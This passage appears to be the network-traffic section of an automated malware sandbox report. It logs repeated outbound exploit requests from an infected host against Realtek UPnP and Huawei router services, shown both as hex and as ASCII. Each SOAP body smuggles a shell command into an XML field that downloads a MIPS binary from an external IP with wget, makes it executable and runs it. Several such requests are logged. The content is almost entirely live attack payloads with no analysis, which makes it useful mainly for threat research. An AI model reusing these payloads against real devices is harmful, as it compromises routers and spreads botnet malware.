61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      52192.168.2.1549518185.148.101.2352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:07.404084921 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      53192.168.2.1553928156.224.14.1737215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:09.341491938 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.910479069 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:12.730370998 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:16.538362026 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:23.962112904 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.553715944 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:09.272797108 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      54192.168.2.1534818134.186.63.705501
                                                      TimestampBytes transferredDirectionData
